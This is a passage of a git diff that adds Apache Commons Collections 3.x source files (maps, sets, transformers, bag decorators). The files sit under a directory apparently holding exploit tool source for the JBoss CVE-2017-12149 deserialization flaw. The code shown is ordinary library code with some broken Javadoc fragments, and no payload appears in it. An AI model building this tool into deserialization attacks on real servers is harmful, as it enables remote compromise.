+ * {@link java.util.List} because of incompatible interface definitions.
+ * The remove methods in List and Map have different return values
+ * (see: {@link java.util.List#remove(Object)} and {@link java.util.Map#remove(Object)}).
+ *
+ * This class is not thread safe. When a thread safe implementation is
+ * required, use {@link java.util.Collections#synchronizedMap(Map)} as it is documented,
+ * or use explicit synchronization controls.
+ *
+ * @deprecated Replaced by LinkedMap and ListOrderedMap in map subpackage. Due to be removed in v4.0.
+ * @see org.apache.commons.collections.map.LinkedMap
+ * @see org.apache.commons.collections.map.ListOrderedMap
+ * @since Commons Collections 2.0
+ * @version $Revision: 1.28 $ $Date: 2004/02/18 01:15:42 $
+ *
+ * @author Michael A. Smith
+ * @author Daniel Rall
+ * @author Henning P. Schmiedehausen
+ * @author Stephen Colebourne
+ */
+public class SequencedHashMap implements Map, Cloneable, Externalizable {
+
+ /**
+ * {@link java.util.Map.Entry} that doubles as a node in the linked list
+ * of sequenced mappings.
+ */
+ private static class Entry implements Map.Entry, KeyValue {
+ // Note: This class cannot easily be made clonable. While the actual
+ // implementation of a clone would be simple, defining the semantics is
+ // difficult. If a shallow clone is implemented, then entry.next.prev !=
+ // entry, which is unintuitive and probably breaks all sorts of assumptions
+ // in code that uses this implementation. If a deep clone is
+ // implemented, then what happens when the linked list is cyclical (as is
+ // the case with SequencedHashMap)? It's impossible to know in the clone
+ // when to stop cloning, and thus you end up in a recursive loop,
+ // continuously cloning the "next" in the list.
+
+ private final Object key;
+ private Object value;
+
+ // package private to allow the SequencedHashMap to access and manipulate
+ // them.
+ Entry next = null;
+ Entry prev = null;
+
+ public Entry(Object key, Object value) {
+ this.key = key;
+ this.value = value;
+ }
+
+ // per Map.Entry.getKey()
+ public Object getKey() {
+ return this.key;
+ }
+
+ // per Map.Entry.getValue()
+ public Object getValue() {
+ return this.value;
+ }
+
+ // per Map.Entry.setValue()
+ public Object setValue(Object value) {
+ Object oldValue = this.value;
+ this.value = value;
+ return oldValue;
+ }
+
+ public int hashCode() {
+ // implemented per api docs for Map.Entry.hashCode()
+ return ((getKey() == null ? 0 : getKey().hashCode()) ^ (getValue() == null ? 0 : getValue().hashCode()));
+ }
+
+ public boolean equals(Object obj) {
+ if (obj == null)
+ return false;
+ if (obj == this)
+ return true;
+ if (!(obj instanceof Map.Entry))
+ return false;
+
+ Map.Entry other = (Map.Entry) obj;
+
+ // implemented per api docs for Map.Entry.equals(Object)
+ return (
+ (getKey() == null ? other.getKey() == null : getKey().equals(other.getKey()))
+ && (getValue() == null ? other.getValue() == null : getValue().equals(other.getValue())));
+ }
+ public String toString() {
+ return "[" + getKey() + "=" + getValue() + "]";
+ }
+ }
+
+ /**
+ * Construct an empty sentinel used to hold the head (sentinel.next) and the
+ * tail (sentinel.prev) of the list. The sentinel has a An alternative to this method is to use {@link #keySet()}
+ *
+ * @see #keySet()
+ * @return The ordered list of keys.
+ */
+ public List sequence() {
+ List l = new ArrayList(size());
+ Iterator iter = keySet().iterator();
+ while (iter.hasNext()) {
+ l.add(iter.next());
+ }
+
+ return UnmodifiableList.decorate(l);
+ }
+
+ /**
+ * Removes the element at the specified index.
+ *
+ * @param index The index of the object to remove.
+ * @return The previous value corresponding the
+ * This method is useful for implementing
+ * The relevant text (slightly paraphrased as this is a static method) is:
+ * Two sets are considered equal if they have
+ * the same size, and every member of the first set is contained in
+ * the second. This ensures that the equals method works
+ * properly across different implementations of the Set
+ * interface.
+ * This implementation first checks if the two sets are the same object:
+ * if so it returns true. Then, it checks if the two sets are
+ * identical in size; if not, it returns false. If so, it returns
+ * a.containsAll((Collection) b).
+ * This method is useful for implementing
+ * You must manually synchronize on the returned buffer's iterator to
+ * avoid non-deterministic behavior:
+ *
+ *
+ * This method uses the implementation in the decorators subpackage.
+ *
+ * @param set the set to make unmodifiable, must not be null
+ * @return an unmodifiable set backed by the given set
+ * @throws IllegalArgumentException if the set is null
+ */
+ public static Set unmodifiableSet(Set set) {
+ return UnmodifiableSet.decorate(set);
+ }
+
+ /**
+ * Returns a predicated (validating) set backed by the given set.
+ *
+ * Only objects that pass the test in the given predicate can be added to the set.
+ * Trying to add an invalid object results in an IllegalArgumentException.
+ * It is important not to use the original set after invoking this method,
+ * as it is a backdoor for adding invalid objects.
+ *
+ * @param set the set to predicate, must not be null
+ * @param predicate the predicate for the set, must not be null
+ * @return a predicated set backed by the given set
+ * @throws IllegalArgumentException if the Set or Predicate is null
+ */
+ public static Set predicatedSet(Set set, Predicate predicate) {
+ return PredicatedSet.decorate(set, predicate);
+ }
+
+ /**
+ * Returns a typed set backed by the given set.
+ *
+ * Only objects of the specified type can be added to the set.
+ *
+ * @param set the set to limit to a specific type, must not be null
+ * @param type the type of objects which may be added to the set
+ * @return a typed set backed by the specified set
+ */
+ public static Set typedSet(Set set, Class type) {
+ return TypedSet.decorate(set, type);
+ }
+
+ /**
+ * Returns a transformed set backed by the given set.
+ *
+ * Each object is passed through the transformer as it is added to the
+ * Set. It is important not to use the original set after invoking this
+ * method, as it is a backdoor for adding untransformed objects.
+ *
+ * @param set the set to transform, must not be null
+ * @param transformer the transformer for the set, must not be null
+ * @return a transformed set backed by the given set
+ * @throws IllegalArgumentException if the Set or Transformer is null
+ */
+ public static Set transformedSet(Set set, Transformer transformer) {
+ return TransformedSet.decorate(set, transformer);
+ }
+
+ /**
+ * Returns a set that maintains the order of elements that are added
+ * backed by the given set.
+ *
+ * If an element is added twice, the order is determined by the first add.
+ * The order is observed through the iterator or toArray.
+ *
+ * @param set the set to order, must not be null
+ * @return an ordered set backed by the given set
+ * @throws IllegalArgumentException if the Set is null
+ */
+ public static Set orderedSet(Set set) {
+ return ListOrderedSet.decorate(set);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Returns a synchronized sorted set backed by the given sorted set.
+ *
+ * You must manually synchronize on the returned buffer's iterator to
+ * avoid non-deterministic behavior:
+ *
+ *
+ * This method uses the implementation in the decorators subpackage.
+ *
+ * @param set the sorted set to make unmodifiable, must not be null
+ * @return an unmodifiable set backed by the given set
+ * @throws IllegalArgumentException if the set is null
+ */
+ public static SortedSet unmodifiableSortedSet(SortedSet set) {
+ return UnmodifiableSortedSet.decorate(set);
+ }
+
+ /**
+ * Returns a predicated (validating) sorted set backed by the given sorted set.
+ *
+ * Only objects that pass the test in the given predicate can be added to the set.
+ * Trying to add an invalid object results in an IllegalArgumentException.
+ * It is important not to use the original set after invoking this method,
+ * as it is a backdoor for adding invalid objects.
+ *
+ * @param set the sorted set to predicate, must not be null
+ * @param predicate the predicate for the sorted set, must not be null
+ * @return a predicated sorted set backed by the given sorted set
+ * @throws IllegalArgumentException if the Set or Predicate is null
+ */
+ public static SortedSet predicatedSortedSet(SortedSet set, Predicate predicate) {
+ return PredicatedSortedSet.decorate(set, predicate);
+ }
+
+ /**
+ * Returns a typed sorted set backed by the given set.
+ *
+ * Only objects of the specified type can be added to the set.
+ *
+ * @param set the set to limit to a specific type, must not be null
+ * @param type the type of objects which may be added to the set
+ * @return a typed set backed by the specified set
+ */
+ public static SortedSet typedSortedSet(SortedSet set, Class type) {
+ return TypedSortedSet.decorate(set, type);
+ }
+
+ /**
+ * Returns a transformed sorted set backed by the given set.
+ *
+ * Each object is passed through the transformer as it is added to the
+ * Set. It is important not to use the original set after invoking this
+ * method, as it is a backdoor for adding untransformed objects.
+ *
+ * @param set the set to transform, must not be null
+ * @param transformer the transformer for the set, must not be null
+ * @return a transformed set backed by the given set
+ * @throws IllegalArgumentException if the Set or Transformer is null
+ */
+ public static SortedSet transformedSortedSet(SortedSet set, Transformer transformer) {
+ return TransformedSortedSet.decorate(set, transformer);
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/SortedBag.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/SortedBag.java"
new file mode 100644
index 0000000..bfc9611
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/SortedBag.java"
@@ -0,0 +1,53 @@
+/*
+ * Copyright 2002-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections;
+
+import java.util.Comparator;
+
+/**
+ * Defines a type of
+ * Implementations should allow a value to be looked up from a key and
+ * a key to be looked up from a value with equal performance.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.6 $ $Date: 2004/02/18 01:15:42 $
+ *
+ * @author Stephen Colebourne
+ */
+public interface SortedBidiMap extends OrderedBidiMap, SortedMap {
+
+ /**
+ * Gets a view of this map where the keys and values are reversed.
+ *
+ * Changes to one map will be visible in the other and vice versa.
+ * This enables both directions of the map to be accessed equally.
+ *
+ * Implementations should seek to avoid creating a new object every time this
+ * method is called. See
+ * Implementations must return a
+ * Changes to one map will be visible in the other and vice versa.
+ * This enables both directions of the map to be accessed as a
+ * Implementations should seek to avoid creating a new object every time this
+ * method is called. See
+ * The inverse map returned by
+ *
+ * Each bucket in the hash table has its own monitor, so two threads can
+ * safely operate on the map at the same time, often without incurring any
+ * monitor contention. This means that you don't have to wrap instances
+ * of this class with {@link java.util.Collections#synchronizedMap(Map)};
+ * instances are already thread-safe. Unfortunately, however, this means
+ * that this map implementation behaves in ways you may find disconcerting.
+ * Bulk operations, such as {@link #putAll(Map) putAll} or the
+ * {@link Collection#retainAll(Collection) retainAll} operation in collection
+ * views, are not atomic. If two threads are simultaneously
+ * executing
+ *
+ *
+ *
+ * Also, much like an encyclopedia, the results of {@link #size()} and
+ * {@link #isEmpty()} are out-of-date as soon as they are produced.
+ *
+ * The iterators returned by the collection views of this class are not
+ * fail-fast. They will never raise a
+ * {@link java.util.ConcurrentModificationException}. Keys and values
+ * added to the map after the iterator is created do not necessarily appear
+ * during iteration. Similarly, the iterator does not necessarily fail to
+ * return keys and values that were removed after the iterator was created.
+ *
+ * Finally, unlike {@link java.util.HashMap}-style implementations, this
+ * class never rehashes the map. The number of buckets is fixed
+ * at construction time and never altered. Performance may degrade if
+ * you do not allocate enough buckets upfront.
+ *
+ * The {@link #atomic(Runnable)} method is provided to allow atomic iterations
+ * and bulk operations; however, overuse of {@link #atomic(Runnable) atomic}
+ * will basically result in a map that's slower than an ordinary synchronized
+ * {@link java.util.HashMap}.
+ *
+ * Use this class if you do not require reliable bulk operations and
+ * iterations, or if you can make your own guarantees about how bulk
+ * operations will affect the map.
+ *
+ * @deprecated Moved to map subpackage. Due to be removed in v4.0.
+ * @since Commons Collections 2.1
+ * @version $Revision: 1.18 $ $Date: 2004/02/18 01:15:42 $
+ *
+ * @author Berin Loritsch
+ * @author Gerhard Froehlich
+ * @author Michael A. Smith
+ * @author Paul Jack
+ * @author Leo Sutic
+ * @author Janek Bogucki
+ */
+public final class StaticBucketMap implements Map {
+
+ private static final int DEFAULT_BUCKETS = 255;
+ private Node[] m_buckets;
+ private Lock[] m_locks;
+
+ /**
+ * Initializes the map with the default number of buckets (255).
+ */
+ public StaticBucketMap()
+ {
+ this( DEFAULT_BUCKETS );
+ }
+
+ /**
+ * Initializes the map with a specified number of buckets. The number
+ * of buckets is never below 17, and is always an odd number (StaticBucketMap
+ * ensures this). The number of buckets is inversely proportional to the
+ * chances for thread contention. The fewer buckets, the more chances for
+ * thread contention. The more buckets the fewer chances for thread
+ * contention.
+ *
+ * @param numBuckets the number of buckets for this map
+ */
+ public StaticBucketMap( int numBuckets )
+ {
+ int size = Math.max( 17, numBuckets );
+
+ // Ensure that bucketSize is never a power of 2 (to ensure maximal distribution)
+ if( size % 2 == 0 )
+ {
+ size--;
+ }
+
+ m_buckets = new Node[ size ];
+ m_locks = new Lock[ size ];
+
+ for( int i = 0; i < size; i++ )
+ {
+ m_locks[ i ] = new Lock();
+ }
+ }
+
+ /**
+ * Determine the exact hash entry for the key. The hash algorithm
+ * is rather simplistic, but it does the job:
+ *
+ *
+ * He is the entry's hashCode, Hk is the key's hashCode, and n is
+ * the number of buckets.
+ *
+ * A
+ * Standard implementations of common transformers are provided by
+ * {@link TransformerUtils}. These include method invokation, returning a constant,
+ * cloning and returning the string value.
+ *
+ * @since Commons Collections 1.0
+ * @version $Revision: 1.10 $ $Date: 2004/04/14 20:08:57 $
+ *
+ * @author James Strachan
+ * @author Stephen Colebourne
+ */
+public interface Transformer {
+
+ /**
+ * Transforms the input object (leaving it unchanged) into some output object.
+ *
+ * @param input the object to be transformed, should be left unchanged
+ * @return a transformed object
+ * @throws ClassCastException (runtime) if the input is the wrong class
+ * @throws IllegalArgumentException (runtime) if the input is invalid
+ * @throws FunctorException (runtime) if the transform cannot be completed
+ */
+ public Object transform(Object input);
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/TransformerUtils.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/TransformerUtils.java"
new file mode 100644
index 0000000..68ba66c
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/TransformerUtils.java"
@@ -0,0 +1,441 @@
+/*
+ * Copyright 2002-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections;
+
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+
+import org.apache.commons.collections.functors.ChainedTransformer;
+import org.apache.commons.collections.functors.CloneTransformer;
+import org.apache.commons.collections.functors.ClosureTransformer;
+import org.apache.commons.collections.functors.ConstantTransformer;
+import org.apache.commons.collections.functors.EqualPredicate;
+import org.apache.commons.collections.functors.ExceptionTransformer;
+import org.apache.commons.collections.functors.FactoryTransformer;
+import org.apache.commons.collections.functors.InstantiateTransformer;
+import org.apache.commons.collections.functors.InvokerTransformer;
+import org.apache.commons.collections.functors.MapTransformer;
+import org.apache.commons.collections.functors.NOPTransformer;
+import org.apache.commons.collections.functors.PredicateTransformer;
+import org.apache.commons.collections.functors.StringValueTransformer;
+import org.apache.commons.collections.functors.SwitchTransformer;
+
+/**
+ *
+ * The Map consists of Predicate keys and Transformer values. A transformer
+ * is called if its matching predicate returns true. Each predicate is evaluated
+ * until one returns true. If no predicates evaluate to true, the default
+ * transformer is called. The default transformer is set in the map with a
+ * null key. If no default transformer is set, null will be returned in a default
+ * case. The ordering is that of the iterator() method on the entryset collection
+ * of the map.
+ *
+ * @see org.apache.commons.collections.functors.SwitchTransformer
+ *
+ * @param predicatesAndTransformers a map of predicates to transformers
+ * @return the transformer
+ * @throws IllegalArgumentException if the map is null
+ * @throws IllegalArgumentException if the map is empty
+ * @throws IllegalArgumentException if any transformer in the map is null
+ * @throws ClassCastException if the map elements are of the wrong type
+ */
+ public static Transformer switchTransformer(Map predicatesAndTransformers) {
+ return SwitchTransformer.getInstance(predicatesAndTransformers);
+ }
+
+ /**
+ * Create a new Transformer that uses the input object as a key to find the
+ * transformer to call.
+ *
+ * The Map consists of object keys and Transformer values. A transformer
+ * is called if the input object equals the key. If there is no match, the
+ * default transformer is called. The default transformer is set in the map
+ * using a null key. If no default is set, null will be returned in a default case.
+ *
+ * @see org.apache.commons.collections.functors.SwitchTransformer
+ *
+ * @param objectsAndTransformers a map of objects to transformers
+ * @return the transformer
+ * @throws IllegalArgumentException if the map is null
+ * @throws IllegalArgumentException if the map is empty
+ * @throws IllegalArgumentException if any transformer in the map is null
+ */
+ public static Transformer switchMapTransformer(Map objectsAndTransformers) {
+ Transformer[] trs = null;
+ Predicate[] preds = null;
+ if (objectsAndTransformers == null) {
+ throw new IllegalArgumentException("The object and transformer map must not be null");
+ }
+ Transformer def = (Transformer) objectsAndTransformers.remove(null);
+ int size = objectsAndTransformers.size();
+ trs = new Transformer[size];
+ preds = new Predicate[size];
+ int i = 0;
+ for (Iterator it = objectsAndTransformers.entrySet().iterator(); it.hasNext();) {
+ Map.Entry entry = (Map.Entry) it.next();
+ preds[i] = EqualPredicate.getInstance(entry.getKey());
+ trs[i] = (Transformer) entry.getValue();
+ i++;
+ }
+ return switchTransformer(preds, trs, def);
+ }
+
+ /**
+ * Gets a Transformer that expects an input Class object that it will instantiate.
+ *
+ * @see org.apache.commons.collections.functors.InstantiateTransformer
+ *
+ * @return the transformer
+ */
+ public static Transformer instantiateTransformer() {
+ return InstantiateTransformer.NO_ARG_INSTANCE;
+ }
+
+ /**
+ * Creates a Transformer that expects an input Class object that it will
+ * instantiate. The constructor used is determined by the arguments specified
+ * to this method.
+ *
+ * @see org.apache.commons.collections.functors.InstantiateTransformer
+ *
+ * @param paramTypes parameter types for the constructor, can be null
+ * @param args the arguments to pass to the constructor, can be null
+ * @return the transformer
+ * @throws IllegalArgumentException if the paramTypes and args don't match
+ */
+ public static Transformer instantiateTransformer(Class[] paramTypes, Object[] args) {
+ return InstantiateTransformer.getInstance(paramTypes, args);
+ }
+
+ /**
+ * Creates a Transformer that uses the passed in Map to transform the input
+ * object (as a simple lookup).
+ *
+ * @see org.apache.commons.collections.functors.MapTransformer
+ *
+ * @param map the map to use to transform the objects
+ * @return the transformer
+ * @throws IllegalArgumentException if the map is null
+ */
+ public static Transformer mapTransformer(Map map) {
+ return MapTransformer.getInstance(map);
+ }
+
+ /**
+ * Gets a Transformer that invokes a method on the input object.
+ * The method must have no parameters. If the input object is null,
+ * null is returned.
+ *
+ * For example,
+ * The removal order of an
+ * The {@link #remove()} and {@link #get()} operations perform in constant time.
+ * The {@link #add(Object)} operation performs in amortized constant time. All
+ * other operations perform in linear time or worse.
+ *
+ * Note that this implementation is not synchronized. The following can be
+ * used to provide synchronized access to your
+ * This buffer prevents null objects from being added.
+ *
+ * @deprecated Moved to buffer subpackage. Due to be removed in v4.0.
+ * @since Commons Collections 2.1
+ * @version $Revision: 1.15 $ $Date: 2004/02/18 01:15:42 $
+ *
+ * @author Avalon
+ * @author Federico Barbieri
+ * @author Berin Loritsch
+ * @author Paul Jack
+ * @author Stephen Colebourne
+ */
+public class UnboundedFifoBuffer extends AbstractCollection implements Buffer {
+
+ protected Object[] m_buffer;
+ protected int m_head;
+ protected int m_tail;
+
+ /**
+ * Constructs an UnboundedFifoBuffer with the default number of elements.
+ * It is exactly the same as performing the following:
+ *
+ *
+ * This interface enables testing such as:
+ *
+ * Methods are forwarded directly to the decorated bag.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.5 $ $Date: 2004/06/02 21:53:02 $
+ *
+ * @author Stephen Colebourne
+ */
+public abstract class AbstractBagDecorator
+ extends AbstractCollectionDecorator implements Bag {
+
+ /**
+ * Constructor only used in deserialization, do not use otherwise.
+ * @since Commons Collections 3.1
+ */
+ protected AbstractBagDecorator() {
+ super();
+ }
+
+ /**
+ * Constructor that wraps (not copies).
+ *
+ * @param bag the bag to decorate, must not be null
+ * @throws IllegalArgumentException if list is null
+ */
+ protected AbstractBagDecorator(Bag bag) {
+ super(bag);
+ }
+
+ /**
+ * Gets the bag being decorated.
+ *
+ * @return the decorated bag
+ */
+ protected Bag getBag() {
+ return (Bag) getCollection();
+ }
+
+ //-----------------------------------------------------------------------
+ public int getCount(Object object) {
+ return getBag().getCount(object);
+ }
+
+ public boolean add(Object object, int count) {
+ return getBag().add(object, count);
+ }
+
+ public boolean remove(Object object, int count) {
+ return getBag().remove(object, count);
+ }
+
+ public Set uniqueSet() {
+ return getBag().uniqueSet();
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/AbstractMapBag.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/AbstractMapBag.java"
new file mode 100644
index 0000000..e18ed84
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/AbstractMapBag.java"
@@ -0,0 +1,591 @@
+/*
+ * Copyright 2002-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.bag;
+
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.lang.reflect.Array;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Set;
+
+import org.apache.commons.collections.Bag;
+import org.apache.commons.collections.set.UnmodifiableSet;
+
+/**
+ * Abstract implementation of the {@link Bag} interface to simplify the creation
+ * of subclass implementations.
+ *
+ * Subclasses specify a Map implementation to use as the internal storage.
+ * The map will be used to map bag elements to a number; the number represents
+ * the number of occurrences of that element in the bag.
+ *
+ * @since Commons Collections 3.0 (previously DefaultMapBag v2.0)
+ * @version $Revision: 1.15 $ $Date: 2004/05/15 12:27:04 $
+ *
+ * @author Chuck Burdick
+ * @author Michael A. Smith
+ * @author Stephen Colebourne
+ * @author Janek Bogucki
+ */
+public abstract class AbstractMapBag implements Bag {
+
+ /** The map to use to store the data */
+ private transient Map map;
+ /** The current total size of the bag */
+ private int size;
+ /** The modification count for fail fast iterators */
+ private transient int modCount;
+ /** The modification count for fail fast iterators */
+ private transient Set uniqueSet;
+
+ /**
+ * Constructor needed for subclass serialisation.
+ *
+ */
+ protected AbstractMapBag() {
+ super();
+ }
+
+ /**
+ * Constructor that assigns the specified Map as the backing store.
+ * The map must be empty and non-null.
+ *
+ * @param map the map to assign
+ */
+ protected AbstractMapBag(Map map) {
+ super();
+ this.map = map;
+ }
+
+ /**
+ * Utility method for implementations to access the map that backs
+ * this bag. Not intended for interactive use outside of subclasses.
+ *
+ * @return the map being used by the Bag
+ */
+ protected Map getMap() {
+ return map;
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Returns the number of elements in this bag.
+ *
+ * @return current size of the bag
+ */
+ public int size() {
+ return size;
+ }
+
+ /**
+ * Returns true if the underlying map is empty.
+ *
+ * @return true if bag is empty
+ */
+ public boolean isEmpty() {
+ return map.isEmpty();
+ }
+
+ /**
+ * Returns the number of occurrence of the given element in this bag
+ * by looking up its count in the underlying map.
+ *
+ * @param object the object to search for
+ * @return the number of occurrences of the object, zero if not found
+ */
+ public int getCount(Object object) {
+ MutableInteger count = (MutableInteger) map.get(object);
+ if (count != null) {
+ return count.value;
+ }
+ return 0;
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Determines if the bag contains the given element by checking if the
+ * underlying map contains the element as a key.
+ *
+ * @param object the object to search for
+ * @return true if the bag contains the given element
+ */
+ public boolean contains(Object object) {
+ return map.containsKey(object);
+ }
+
+ /**
+ * Determines if the bag contains the given elements.
+ *
+ * @param coll the collection to check against
+ * @return
+ * Methods are forwarded directly to the decorated bag.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.5 $ $Date: 2004/06/02 21:53:02 $
+ *
+ * @author Stephen Colebourne
+ */
+public abstract class AbstractSortedBagDecorator
+ extends AbstractBagDecorator implements SortedBag {
+
+ /**
+ * Constructor only used in deserialization, do not use otherwise.
+ * @since Commons Collections 3.1
+ */
+ protected AbstractSortedBagDecorator() {
+ super();
+ }
+
+ /**
+ * Constructor that wraps (not copies).
+ *
+ * @param bag the bag to decorate, must not be null
+ * @throws IllegalArgumentException if list is null
+ */
+ protected AbstractSortedBagDecorator(SortedBag bag) {
+ super(bag);
+ }
+
+ /**
+ * Gets the bag being decorated.
+ *
+ * @return the decorated bag
+ */
+ protected SortedBag getSortedBag() {
+ return (SortedBag) getCollection();
+ }
+
+ //-----------------------------------------------------------------------
+ public Object first() {
+ return getSortedBag().first();
+ }
+
+ public Object last() {
+ return getSortedBag().last();
+ }
+
+ public Comparator comparator() {
+ return getSortedBag().comparator();
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/HashBag.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/HashBag.java"
new file mode 100644
index 0000000..7da53e3
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/HashBag.java"
@@ -0,0 +1,83 @@
+/*
+ * Copyright 2002-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.bag;
+
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.io.Serializable;
+import java.util.Collection;
+import java.util.HashMap;
+
+import org.apache.commons.collections.Bag;
+
+/**
+ * Implements
+ * A
+ * This bag exists to provide validation for the decorated bag.
+ * It is normally created to decorate an empty bag.
+ * If an object cannot be added to the bag, an IllegalArgumentException is thrown.
+ *
+ * One usage would be to ensure that no null entries are added to the bag.
+ *
+ * This class is Serializable from Commons Collections 3.1.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.8 $ $Date: 2004/06/03 22:02:12 $
+ *
+ * @author Stephen Colebourne
+ * @author Paul Jack
+ */
+public class PredicatedBag
+ extends PredicatedCollection implements Bag {
+
+ /** Serialization version */
+ private static final long serialVersionUID = -2575833140344736876L;
+
+ /**
+ * Factory method to create a predicated (validating) bag.
+ *
+ * If there are any elements already in the bag being decorated, they
+ * are validated.
+ *
+ * @param bag the bag to decorate, must not be null
+ * @param predicate the predicate to use for validation, must not be null
+ * @return a new predicated Bag
+ * @throws IllegalArgumentException if bag or predicate is null
+ * @throws IllegalArgumentException if the bag contains invalid elements
+ */
+ public static Bag decorate(Bag bag, Predicate predicate) {
+ return new PredicatedBag(bag, predicate);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Constructor that wraps (not copies).
+ *
+ * If there are any elements already in the bag being decorated, they
+ * are validated.
+ *
+ * @param bag the bag to decorate, must not be null
+ * @param predicate the predicate to use for validation, must not be null
+ * @throws IllegalArgumentException if bag or predicate is null
+ * @throws IllegalArgumentException if the bag contains invalid elements
+ */
+ protected PredicatedBag(Bag bag, Predicate predicate) {
+ super(bag, predicate);
+ }
+
+ /**
+ * Gets the decorated bag.
+ *
+ * @return the decorated bag
+ */
+ protected Bag getBag() {
+ return (Bag) getCollection();
+ }
+
+ //-----------------------------------------------------------------------
+ public boolean add(Object object, int count) {
+ validate(object);
+ return getBag().add(object, count);
+ }
+
+ public boolean remove(Object object, int count) {
+ return getBag().remove(object, count);
+ }
+
+ public Set uniqueSet() {
+ return getBag().uniqueSet();
+ }
+
+ public int getCount(Object object) {
+ return getBag().getCount(object);
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/PredicatedSortedBag.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/PredicatedSortedBag.java"
new file mode 100644
index 0000000..83efa52
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/PredicatedSortedBag.java"
@@ -0,0 +1,102 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
